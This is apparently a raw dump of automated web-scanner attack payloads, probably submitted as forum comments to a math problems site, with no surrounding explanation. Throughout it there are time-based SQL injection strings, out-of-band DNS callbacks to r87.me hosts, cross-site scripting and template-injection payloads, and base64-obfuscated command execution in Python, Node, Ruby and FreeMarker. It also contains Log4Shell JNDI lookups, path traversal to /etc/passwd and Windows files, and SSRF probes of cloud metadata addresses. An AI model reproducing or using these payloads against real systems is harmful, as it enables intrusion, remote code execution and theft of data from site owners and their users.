1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* f4b77bd3-a5f9-4bed-bcfd-7086652c3716 */

---

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','nmo_xmpmyayick8vfupg4isdyt0nf5eprafvuu6r'+'nlw.r87.me')exec sp_executesql @r--

---

netsparker(0x00C916)

---

www.mathproblemsbank.net/elmah.axd

---

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* a835ea08-24bb-4aaa-8874-790692108048 */

---

netsparker(0x00C923);

---

www.mathproblemsbank.net/elmah.axd

---

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 30590367-8234-40a8-8856-7a2199106242 */

---

netsparker(0x00C924);

---

104.21.66.163/elmah.axd

---

((select sleep(25)))a-- 1 /* f1a231be-a065-4206-a4d2-218d6c38571c */

---

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','nmo_xmpmyamyiswwnsxdcx07joswtlm0jbpkdvej'+'r8g.r87.me')exec sp_executesql @r--

---

p "#{0xFFF9999.to_i-`echo 57793`.to_i}"

---

&#39;+netsparker(0x00C935)+&#39;

---

104.21.66.163/elmah.axd

---

__import__('os').popen(('expr 268409241 - {0}').format('11497')).read()

---

((select sleep(25)))a-- 1 /* 04d9fadd-2266-4a2e-8bb8-7086c681f314 */

---

SELECT dblink_connect('host=nmo_xmpmyacihksvxyvwnzk7yvucuflcj2dqmzx5'||'tro.r87.me user=a password=a connect_timeout=2')

---

&#39;+netsparker(0x00C936)+&#39;

---

127.100.11.2/elmah.axd

---

__import__('os').popen(('expr 268409241 - {0}').format('12892')).read()

---

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* ab1960c1-5157-4313-bb91-8da8eef7bd88 */

---

SELECT dblink_connect('host=nmo_xmpmyae2ltp_nad1u3wi6ohlagpro_p8slu_'||'ows.r87.me user=a password=a connect_timeout=2')

---

'"@--></style></scRipt><scRipt>netsparker(0x00C95F)</scRipt>

---

127.100.11.2/elmah.axd

---

__import__('os').popen(('SET /A 268409241 - {0}').format('47790')).read()

---

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* 0d7298ff-ac02-4539-8e4c-6dfc37487764 */

---

dblink_connect('host=nmo_xmpmyaxtpbfcww8yusujfjlbrwfqyctrdpfm'||'efm.r87.me user=a password=a connect_timeout=2')

---

'"@--></style></scRipt><scRipt>netsparker(0x00C960)</scRipt>

---

127.0.0.1/elmah.axd

---

__import__('os').popen(('SET /A 268409241 - {0}').format('64463')).read()

---

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' /* ba94e948-9d10-4780-8944-a1758bb7ca13 */

---

dblink_connect('host=nmo_xmpmyalyyjdorsg3sritexiu-p2bdqprvxty'||'kw4.r87.me user=a password=a connect_timeout=2')

---

%22%2bnetsparker(0x00C97F)%2b%22

---

127.0.0.1/elmah.axd

---

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' /* c0f4e2c4-6a38-41d2-9f07-dad528edeea3 */

---

cast((SELECT dblink_connect('host=nmo_xmpmyahihb0e3kw3d03nviybuugb39ycgwlq'||'nsa.r87.me user=a password=a connect_timeout=2')) as numeric)

---

%22%2bnetsparker(0x00C980)%2b%22

---

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* e101c2a1-fadd-4579-be5c-ec88d96a71ab */

---

[::1]/elmah.axd

---

cast((SELECT dblink_connect('host=nmo_xmpmyaoawdxctkfkxcdtimosqi_ukhhbojdl'||'z9g.r87.me user=a password=a connect_timeout=2')) as numeric)

---

<html xmlns="http://www.w3.org/1999/xhtml"><script>netsparker(0x00C98D)</script></html>

---

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* e2ed98e1-a34c-429b-a3f3-671b4ebdb853 */

---

[::1]/elmah.axd

---

<html xmlns="http://www.w3.org/1999/xhtml"><script>netsparker(0x00C98E)</script></html>

---

1';SELECT pg_sleep(25)-- /* 2db8c381-7cd4-44d5-bd5e-b95331428971 */

---

https://www.mathproblemsbank.net/elmah

---

//r87.com/?0x00C9AC

---

1';SELECT pg_sleep(25)-- /* 7be63183-88c0-466b-a3b3-0a62df9cb5aa */

---

https://www.mathproblemsbank.net/elmah

---

'||(SELECT dblink_connect('host=nmo_xmpmyaywkxanu73bjbsgwydxe0cdtxl02tec'||'7z4.r87.me user=a password=a connect_timeout=2'))||'

---

//r87.com/?0x00C9AD

---

1;SELECT pg_sleep(25)-- /* 13e8f1ed-4907-4651-9158-cd3dccada192 */

---

www.mathproblemsbank.net/elmah

---

'||(SELECT dblink_connect('host=nmo_xmpmya7_rglrdo5erkvzwpa9im6jtdcgyb4y'||'rta.r87.me user=a password=a connect_timeout=2'))||'

---

<a HrEf=JaVaScRiPt:netsparker(0x00C9C2)>

---

1;SELECT pg_sleep(25)-- /* 9f51a7a3-aff3-4771-b102-f0ee8bbe96b1 */

---

www.mathproblemsbank.net/elmah

---

(select UTL_INADDR.GET_HOST_ADDRESS('nmo_xmpmyahchajnzh_4vbk1j4pcl6rouod2t8_a'||'-f8.r87.me') from DUAL)

---

<a HrEf=JaVaScRiPt:netsparker(0x00C9C3)>

---

SELECT pg_sleep(25)-- /* c8e4ed93-0428-49b0-a1e5-843846718319 */

---

172.67.205.112/elmah

---

(select UTL_INADDR.GET_HOST_ADDRESS('nmo_xmpmyat63miiejkxouehesinvhcy0vna9sid'||'qgw.r87.me') from DUAL)

---

[email protected]'"/>()%26%25<ScRiPt >netsparker(0x00C9CC)</ScRiPt>

---

SELECT pg_sleep(25)-- /* ced2e8d1-0853-42f9-88c9-104f993b9cd6 */

---

172.67.205.112/elmah

---

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('nmo_xmpmyarilj58uk70lgxizyi9jmoful_qnlwo'||'wny.r87.me') from DUAL))))

---

1);SELECT pg_sleep(25)-- /* 769d1906-5ecf-403f-b4ff-02c40543b9af */

---

127.100.11.2/elmah

---

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('nmo_xmpmyaaor__asgprpef3ve5sjenxhwj6ptxf'||'qje.r87.me') from DUAL))))

---

[email protected]'"/>()%26%25<ScRiPt >netsparker(0x00C9CD)</ScRiPt>

---

1);SELECT pg_sleep(25)-- /* 2263b2a7-c3fc-4424-b07c-7eff61bcbdd3 */

---

127.100.11.2/elmah

---

gethostbyname(trim('nmo_xmpmyasxyeoaju67zadaa-hvysoi3dvi2mmo'.'jom.r87.me'))

---

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('nmo_xmpmyaym3l0oxf-i4b_cpqjzv9ztayy3t1ea'||'joq.r87.me') from DUAL))||'

---

Content-Type:text/html <scRipt>ns(0x00C9E8)</scRipt>

---

1');SELECT pg_sleep(25)-- /* b8a50fce-7b91-46ee-bbdf-136c97acc971 */

---

127.0.0.1/elmah

---

gethostbyname(trim('nmo_xmpmyav_29vtgflnzng7dhx-2lsxtlf0no4l'.'64g.r87.me'))

---

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('nmo_xmpmyantrrva2a82b4kl2uvcgcme2-2yyggs'||'weq.r87.me') from DUAL))||'

---

Content-Type:text/html <scRipt>ns(0x00C9E9)</scRipt>

---

1');SELECT pg_sleep(25)-- /* 8dbbd2b0-8edd-4d9c-95ad-60347fa34b76 */

---

127.0.0.1/elmah

---

gethostbyname(trim('nmo_xmpmyaiditj7p3-vhscoe4ywbyuc4yqp4qhq'.'b0o.r87.me'));

---

<frame src="javascript:netsparker('netsparker(0x00C9EE)')"></frame>

---

1'));SELECT pg_sleep(25)-- /* 07a76469-cd95-4738-b7f0-c9729095d65d */

---

[::1]/elmah

---

gethostbyname(trim('nmo_xmpmyayjnkbhyqkon3t6erztidxt2_xrcuoy'.'gsc.r87.me'));

---

<frame src="javascript:netsparker('netsparker(0x00C9EF)')"></frame>

---

1'));SELECT pg_sleep(25)-- /* 957b3a81-8398-4fdd-b042-07eb3aef0c79 */

---

[::1]/elmah

---

+gethostbyname(trim('nmo_xmpmya3alpt1_lgyvk5fnq7gh_39nkyore9y'.'hio.r87.me'));//

---

<scr<script>ipt>netsparker(0x00C9F6)</scr</script>ipt>

---

1));SELECT pg_sleep(25)-- /* cb6abf50-d3db-496e-9a87-773118f9fe54 */

---

http://aws.r87.me/latest/meta-data/public-hostname

---

+gethostbyname(trim('nmo_xmpmyaopmtwhuwn8m57jdz8iyybva2t1zhvg'.'uly.r87.me'));//

---

<scr<script>ipt>netsparker(0x00C9F7)</scr</script>ipt>

---

1));SELECT pg_sleep(25)-- /* 7f3bba99-2e9a-46e3-be1d-d3c578dbb9b6 */

---

http://aws.r87.me/latest/meta-data/public-hostname

---

'+gethostbyname(trim('nmo_xmpmyaag8thvg7qybc5u2anadjenrfo2bl8s'.'8gq.r87.me'))+'

---

<iframe src="javascript:ns(0x00CA0D)"></iframe>

---

((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* 9d5b0d5a-ef6f-4ea2-a09c-f4a80503a1ad */

---

/../../../../../../../../../../boot.ini

---

http://169.254.169.254/latest/meta-data/public-hostname

---

'+gethostbyname(trim('nmo_xmpmyak2r27vsle8cn_4t3rcmkic7sumgbh6'.'f30.r87.me'))+'

---

<iframe src="javascript:ns(0x00CA0E)"></iframe>

---

((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* 0811bce2-56d8-435d-8ab8-1635f8185d6a */

---

/../../../../../../../../../../boot.ini

---

http://169.254.169.254/latest/meta-data/public-hostname

---

"+gethostbyname(trim('nmo_xmpmyaenz0chn20h8_0ghoh_j3hollhhrxoy'.'gag.r87.me'))+"

---

"><x oncut=ns(381)>

---

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* fc193e84-b25b-479d-9de6-271219137b31 */

---

/../../../../../../../../../../boot.ini.php

---

http://127.0.0.1:22

---

"+gethostbyname(trim('nmo_xmpmyanp3zyhdjumj93sdxamje6k-zluls12'.'3pw.r87.me'))+"

---

"><x oncut=ns(308)>

---

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 3d3f6cd8-bd06-45c7-96f1-095ba909c796 */

---

/../../../../../../../../../../boot.ini.php

---

http://127.0.0.1:22

---

<? gethostbyname(trim('nmo_xmpmya__hsy7kbdqjrkl5gyj8zqimykk5zgu'.'kcs.r87.me'));//?>

---

//r87.com/n/j/?0x00CA25

---

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* b79884a3-8ee4-48cc-935e-4ba0dc6eec3b */

---

1/../../../../../../../../../../boot.ini

---

http://172.67.205.112:22

---

<? gethostbyname(trim('nmo_xmpmyahi6lscptfy_aifocncviunizl2drsb'.'ohc.r87.me'));//?>

---

//r87.com/n/j/?0x00CA26

---

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 720d6456-b162-4a40-b7ad-155e7c2ce002 */

---

1/../../../../../../../../../../boot.ini

---

http://172.67.205.112:22

---

'{${gethostbyname(trim('nmo_xmpmyal67dsnakcp_d6xmy8jqdkpx29bnnfx'.'ivw.r87.me'))}}'

---

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* 30c5a1ac-8f22-4eb9-a0c8-5f1465a8c742 */

---

file:///boot.ini

---

http://[::1]:22

---

'{${gethostbyname(trim('nmo_xmpmyaivupobwgnifhvnztqiycnpg-usv3pc'.'9lg.r87.me'))}}'

---

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* 06a580bd-d062-4127-88d2-141db0d0dacf */

---

file:///boot.ini

---

http://[::1]:22

---

createobject("WScript.Shell").exec("nslookup nmo_xmpmyajpcrl0usdzxj7ngulhztdmlmcexu-v" & "v8y.r87.me").StdOut.ReadAll

---

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* 4d823c7f-0681-4275-b925-3757280fcc7a */

---

c:\boot.ini

---

http://127.0.0.1:3306

---

createobject("WScript.Shell").exec("nslookup nmo_xmpmyahuozs0p283wkdb-o4knn5cvdjysakb" & "4s0.r87.me").StdOut.ReadAll

---

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* 1471f101-f0ee-4683-b773-c14e4938edd2 */

---

c:\boot.ini

---

http://127.0.0.1:3306

---

') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 67211832-1f73-4e1b-9d62-18706cdd85a1 */

---

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

---

http://104.21.66.163:3306

---

') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 91d0d5d0-a8eb-4b7a-8691-49c45803dcae */

---

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

---

+createobject("WScript.Shell").exec("nslookup nmo_xmpmya9il53ebixwgwitjnfd7th0o58jjcxy" & "pca.r87.me").StdOut.ReadAll

---

http://104.21.66.163:3306

---

' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 9a36526d-6d45-49f1-ab27-88e90bb18966 */

---

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

---

+createobject("WScript.Shell").exec("nslookup nmo_xmpmya2zo-xxyvifcfflcmwhuvxl7tfljv46" & "r7g.r87.me").StdOut.ReadAll

---

http://[::1]:3306

---

' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 24febfa8-6e39-4085-a420-27d45083799d */

---

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

---

+createobject("WScript.Shell").exec("nslookup nmo_xmpmyajak0fkdihdm32g61q5-ddtvcmbq7bh" & "4po.r87.me").StdOut.ReadAll+

---

http://[::1]:3306

---

'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* 53e932e0-2606-40e5-8b52-c7861b257adc */

---

file%3a%2f%2f%2fboot.ini

---

+createobject("WScript.Shell").exec("nslookup nmo_xmpmyaih8qf7rvvcxcnfagtfen5ba1ylqx-_" & "a-g.r87.me").StdOut.ReadAll+

---

https://www.mathproblemsbank.net/server-status

---

'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* ece209a5-1420-4bf5-af66-550ec6dfe0c5 */

---

file%3a%2f%2f%2fboot.ini

---

<%createobject("WScript.Shell").exec("nslookup nmo_xmpmyami6m7dmvuxvk3k38bs8mxlp1cnmlqu" & "awg.r87.me").StdOut.ReadAll%>

---

https://www.mathproblemsbank.net/server-status

---

c%3a%5cboot.ini

---

<%createobject("WScript.Shell").exec("nslookup nmo_xmpmyaxzna-vvbtgp0gphciccziuw-egznjt" & "exq.r87.me").StdOut.ReadAll%>

---

http://169.254.169.254/opc/v1/instance

---

c%3a%5cboot.ini

---

"+createobject("WScript.Shell").exec("nslookup nmo_xmpmya2ym9w1gkpucehrvtqrsrcnlvqenm2k" & "ghw.r87.me").StdOut.ReadAll+"

---

http://169.254.169.254/opc/v1/instance

---

/../../../../../../../../../../web.config

---

"+createobject("WScript.Shell").exec("nslookup nmo_xmpmyant0gta8vivtvveufjbvfxg5eek4qkx" & "g3y.r87.me").StdOut.ReadAll+"

---

https://metadata.packet.net/metadata

---

/../../../../../../../../../../web.config

---

gethostbyname(lc 'nmo_xmpmyaookq_3vjsbp8lgnlv8rdmpnvwuumln'.'ry8.r87.me')

---

https://metadata.packet.net/metadata

---

/../../../../../../../../../../windows/win.ini

---

gethostbyname(lc 'nmo_xmpmyakpte2rt9pmacdzhuhhkemlymikutkx'.'dks.r87.me')

---

/../../../../../../../../../../windows/win.ini

---

eval('gethostbyname(lc 'nmo_xmpmyadctonw6dyjmn_fdc4jvhwhdwx0txrf'.'ir4.r87.me')')

---

file:///windows/win.ini

---

eval('gethostbyname(lc 'nmo_xmpmyahiaykjgzu4iojjfthepr8dujlwk3y5'.'2j8.r87.me')')

---

file:///windows/win.ini

---

'+gethostbyname(lc 'nmo_xmpmyavkfukzlmdfyrolm7odhrslqmdy-yrh'.'zyw.r87.me')+'

---

/../../../../../../../../../../windows/win.ini.php

---

'+gethostbyname(lc 'nmo_xmpmyau9ab4e8vmbvqlx8pm5lwnjgs7z7p_y'.'3go.r87.me')+'

---

/../../../../../../../../../../windows/win.ini.php

---

"+gethostbyname(lc 'nmo_xmpmya2cj_wms9vgmhxyiu7lkq8zavane_9u'.'p80.r87.me')+"

---

c:\windows\win.ini

---

"+gethostbyname(lc 'nmo_xmpmya7rrcij6xj3ypkz-dybgkla9csaopmg'.'-80.r87.me')+"

---

c:\windows\win.ini

---

nslookup nmo_xmpmyatr7vm03m7dbdw4xtdo50w5bmmspne3^zyo.r87.me&'\"`0&nslookup nmo_xmpmyatr7vm03m7dbdw4xtdo50w5bmmspne3^zyo.r87.me&`'

---

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

---

nslookup nmo_xmpmyawyifek38btw5_3ahbsnagh3ihdvkw6^zvu.r87.me&'\"`0&nslookup nmo_xmpmyawyifek38btw5_3ahbsnagh3ihdvkw6^zvu.r87.me&`'

---

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

---

& nslookup nmo_xmpmyajysyoz-wiveezbi2ebkf9tcn1d3kzr^7ae.r87.me&'\"`0&nslookup nmo_xmpmyajysyoz-wiveezbi2ebkf9tcn1d3kzr^7ae.r87.me&`'

---

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

---

& nslookup nmo_xmpmyax_ozr8eo5bwlirmcrc-7ew0a9bvi-2^m_q.r87.me&'\"`0&nslookup nmo_xmpmyax_ozr8eo5bwlirmcrc-7ew0a9bvi-2^m_q.r87.me&`'

---

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

---

'& nslookup nmo_xmpmya38vszgyharlvbtn3eyca2ygo4nplyd^umq.r87.me&'\"`0&nslookup nmo_xmpmya38vszgyharlvbtn3eyca2ygo4nplyd^umq.r87.me&`'

---

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

---

'& nslookup nmo_xmpmyah6zfpsgo7outlg5qeo9_sozwfxic55^4vq.r87.me&'\"`0&nslookup nmo_xmpmyah6zfpsgo7outlg5qeo9_sozwfxic55^4vq.r87.me&`'

---

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

---

"& nslookup nmo_xmpmyah6rekzlbywfqcdjy6csi-ua9pdythm^_-e.r87.me&'\"`0&nslookup nmo_xmpmyah6rekzlbywfqcdjy6csi-ua9pdythm^_-e.r87.me&`'

---

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

---

"& nslookup nmo_xmpmyaxwr1qrgpzllemtmiagu8rdqgzgecr-^pmk.r87.me&'\"`0&nslookup nmo_xmpmyaxwr1qrgpzllemtmiagu8rdqgzgecr-^pmk.r87.me&`'

---

nslookup "nmo_xmpmyaocehjpom6ebce78vs7gcz1xlzg8-vv""u48.r87.me"

---

nslookup "nmo_xmpmya9f47ofc5rgrbevyvd0bwxcxwsnzkby""wfa.r87.me"

---

&nslookup "nmo_xmpmya4x2mkvsnpogc6tbsnas3rtbgbgc7ag""mga.r87.me"

---

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

---

/../../../../../../../../../../windows/iis6.log

---

&nslookup "nmo_xmpmyawraqricmhjzuu0xdiwetjvakbh0oza""5qu.r87.me"

---

/../../../../../../../../../../windows/iis6.log

---

'&nslookup "nmo_xmpmyab5dqxvzshlxlvwnxkrhem0lrdls29w""qcm.r87.me"

---

/../../../../../../../../../../proc/self/fd/2

---

'&nslookup "nmo_xmpmyaujvvvma_f_bqayb_tz_vbsqynt9cmr""fvi.r87.me"

---

/../../../../../../../../../../proc/self/fd/2

---

"&nslookup "nmo_xmpmyagovrfkvjzsofop7m8rffw0jb2afv7e""pyw.r87.me"

---

/../../../../../../../../../../proc/self/fd/2.php

---

"&nslookup "nmo_xmpmya-yy3dzoiykyiovb-ruaqz7m6s5ugq1""aee.r87.me"

---

/../../../../../../../../../../proc/self/fd/2.php

---

|nslookup${IFS}"nmo_xmpmyalsmofjn3zf45fhhsptxruwgdw8yz4a""vcq.r87.me"

---

/../../../../../../../../../../etc/httpd/logs/error.log

---

|nslookup${IFS}"nmo_xmpmyaiybp8ilrr04rnmzfyhoz_iqzjitfdc""o-w.r87.me"

---

/../../../../../../../../../../etc/httpd/logs/error.log

---

/../../../../../../../../../../etc/httpd/logs/error_log

---

/../../../../../../../../../../etc/httpd/logs/error_log

---

/../../../../../../../../../../var/log/apache2/error.log

---

/../../../../../../../../../../var/log/apache2/error.log

---

{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbm1vX3htcG15YTh0d3JzdGg5ZHVhcW0yaWpicXFqb2licXd6eWppemRkNC5yODcubWU=')).read()}}

---

/../../../../../../../../../../var/log/apache/error.log

---

{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbm1vX3htcG15YTVlczRwanN5cGlhaHpxOW1oYTA3cWlsYmVwbmgwdy1idy5yODcubWU=')).read()}}

---

/../../../../../../../../../../var/log/apache/error.log

---

/../../../../../../../../../../proc/version

---

/../../../../../../../../../../proc/version

---

/../../../../../../../../../../proc/version.php

---

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbm1vX3htcG15YTZhbmdkOC1oNnE2cmc1bmM5cWo1NzljLXN5ZXZmbGFuYS5yODcubWU=','base64').toString())

---

/../../../../../../../../../../proc/version.php

---

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbm1vX3htcG15YWM3c21nZmZnajAzbndxX3ppZ3d1ZGdjYjd1cV9sZnVxZy5yODcubWU=','base64').toString())

---

/../../../../../../../../../../../etc/passwd

---

<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbm1vX3htcG15YXp4djRncGtnei1tOWZhZmxmN2NpbzB1ampjbzI4cS1obS5yODcubWU=','base64').toString()) %>

---

/../../../../../../../../../../../etc/passwd

---

<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbm1vX3htcG15YW14d3gtbXh4aW9oa2Nza3Y3Y3ZlcGdxY28yYnVtdG15by5yODcubWU=','base64').toString()) %>

---

file:///etc/passwd

---

{php}Smarty_Resource::parseResourceName(system("nslookup nmo_xmpmyaspanlaryh-ti0u7tr6yna3iuvkqele"."w7q.r87.me"),'b');{/php}

---

file:///etc/passwd

---

{php}Smarty_Resource::parseResourceName(system("nslookup nmo_xmpmyajp0bhdwojitpq-x0xywfmxakuahwxw"."hgo.r87.me"),'b');{/php}

---

/../../../../../../../../../../../etc/passwd

---

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup nmo_xmpmyada6a4rz1k2t0bqxfvvoudqez6ptr1v"~"8by.r87.me")}}

---

/../../../../../../../../../../../etc/passwd

---

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup nmo_xmpmyavpy76sx-rjl08lkxxedkr_3ucnkehi"~"zay.r87.me")}}

---

/../../../../../../../../../../../etc/passwd.php

---

<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbm1vX3htcG15YV93ZWthOGw1aGZlcF8tem14ZjJ5MG55a2ZxcWVva3BxZS5yODcubWU=')})).to_s}" %>

---

/../../../../../../../../../../../etc/passwd.php

---

<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbm1vX3htcG15YWNnNWxtNjZtby1zdHRyd2VnZ3poMmZwbmh2MTVnMWhtNC5yODcubWU=')})).to_s}" %>

---

...//...//...//...//...//...//...//...//...//...//...//etc/passwd

---

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbm1vX3htcG15YXZtZHR5dG1lY3B3dnB3eWU1Zl9sb2drOWNxcmQ2bGViMC5yODcubWU=|{base64,--decode})}") }

---

...//...//...//...//...//...//...//...//...//...//...//etc/passwd

---

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbm1vX3htcG15YXZncXNmZHd2Y3ZpNmdoczN3NGl5MzBzZ3FvLW42dTc1MC5yODcubWU=|{base64,--decode})}") }

---

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

---

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup nmo_xmpmyaivztc7cjpqz-axsx2qybjbjyjvpv2p"+"via.r87.me") }

---

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

---

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup nmo_xmpmyajvidbettrfv957xd-4jik8ipdcmgzo"+"3yo.r87.me") }

---

3

---

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd

---

require 'resolv';Resolv.getaddress ("nmo_xmpmyazlqqx11zhchkld5rprsiktmy-7pe-q".concat "7la.r87.me")

---

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd

---

require 'resolv';Resolv.getaddress ("nmo_xmpmyabjqmxky7dvfc3zdti4nvkoo2czo5vg".concat "6mm.r87.me")

---

3

---

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

---

__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbm1vX3htcG15YWJ5dHU5d3c5dDJfdnVsanNjeWZnOHR1cWJrdHhvdzFwbS5yODcubWU=')).read()

---

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

---

__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbm1vX3htcG15YW5id3RsZXpsZm5jdWN3NTh0bGJiaWxkZnhkc3k0OTVweS5yODcubWU=')).read()

---

3

---

1/../../../../../../../../../../../etc/passwd

---

${jndi:dns://nmo_xmpmyachkakywrlfzebibbqm-kgcsbclgtsj5to.r87.me}

---

1/../../../../../../../../../../../etc/passwd

---

${jndi:dns://nmo_xmpmyand8vsc71t_pyvyqce2pssisi1dolwuqko.r87.me}

---

3

---

/etc/passwd

---

${j${env:bmV0c3Bhcmtlcg:-n}di:dns://nmo_xmpmyatqj1k_hckqriosnvcjqhrrlhg-wybclms.r87.me}

---

/etc/passwd

---

${j${env:bmV0c3Bhcmtlcg:-n}di:dns://nmo_xmpmya_o1pyhfpv4xnwrrqhoxdsrxf4ybvupduw.r87.me}

---

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

---

3

---

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

---

data:;base64,TlM3NzU0NTYxNDQ2NTc1

---

3

---

data:;base64,TlM3NzU0NTYxNDQ2NTc1

---

store

---

store

---

store

---

store

---

/en/forum/comment/store

---

/en/forum/comment/store

---

/forum/comment/store

---

3

---

/forum/comment/store

---

/comment/store

---

/comment/store

---

WEB-INF/web.xml

---

WEB-INF/web.xml

---

/../../../../../../../../../../WEB-INF/web.xml

---

/../../../../../../../../../../WEB-INF/web.xml

---

/../../../../../../../../../../var/log/apache2/access.log

---

/../../../../../../../../../../var/log/apache2/access.log

---

/../../../../../../../../../../etc/httpd/logs/access.log

---

/../../../../../../../../../../etc/httpd/logs/access.log

---

/../../../../../../../../../../var/log/nginx/access.log

---

/../../../../../../../../../../var/log/nginx/access.log

---

/../../../../../../../../../../opt/lampp/logs/access_log

---

/../../../../../../../../../../opt/lampp/logs/access_log

---

/../../../../../../../../../../var/log/lighttpd/access.log

---

/../../../../../../../../../../var/log/lighttpd/access.log

---

/../../../../../../../../../../AppServ/Apache24/logs/access.log

---

/../../../../../../../../../../AppServ/Apache24/logs/access.log

---

../../../../../../../../../../xampp/apache/logs/access.log

---

../../../../../../../../../../xampp/apache/logs/access.log

---

/../../../../../../../../../../var/log/apache/access.log

---

/../../../../../../../../../../var/log/apache/access.log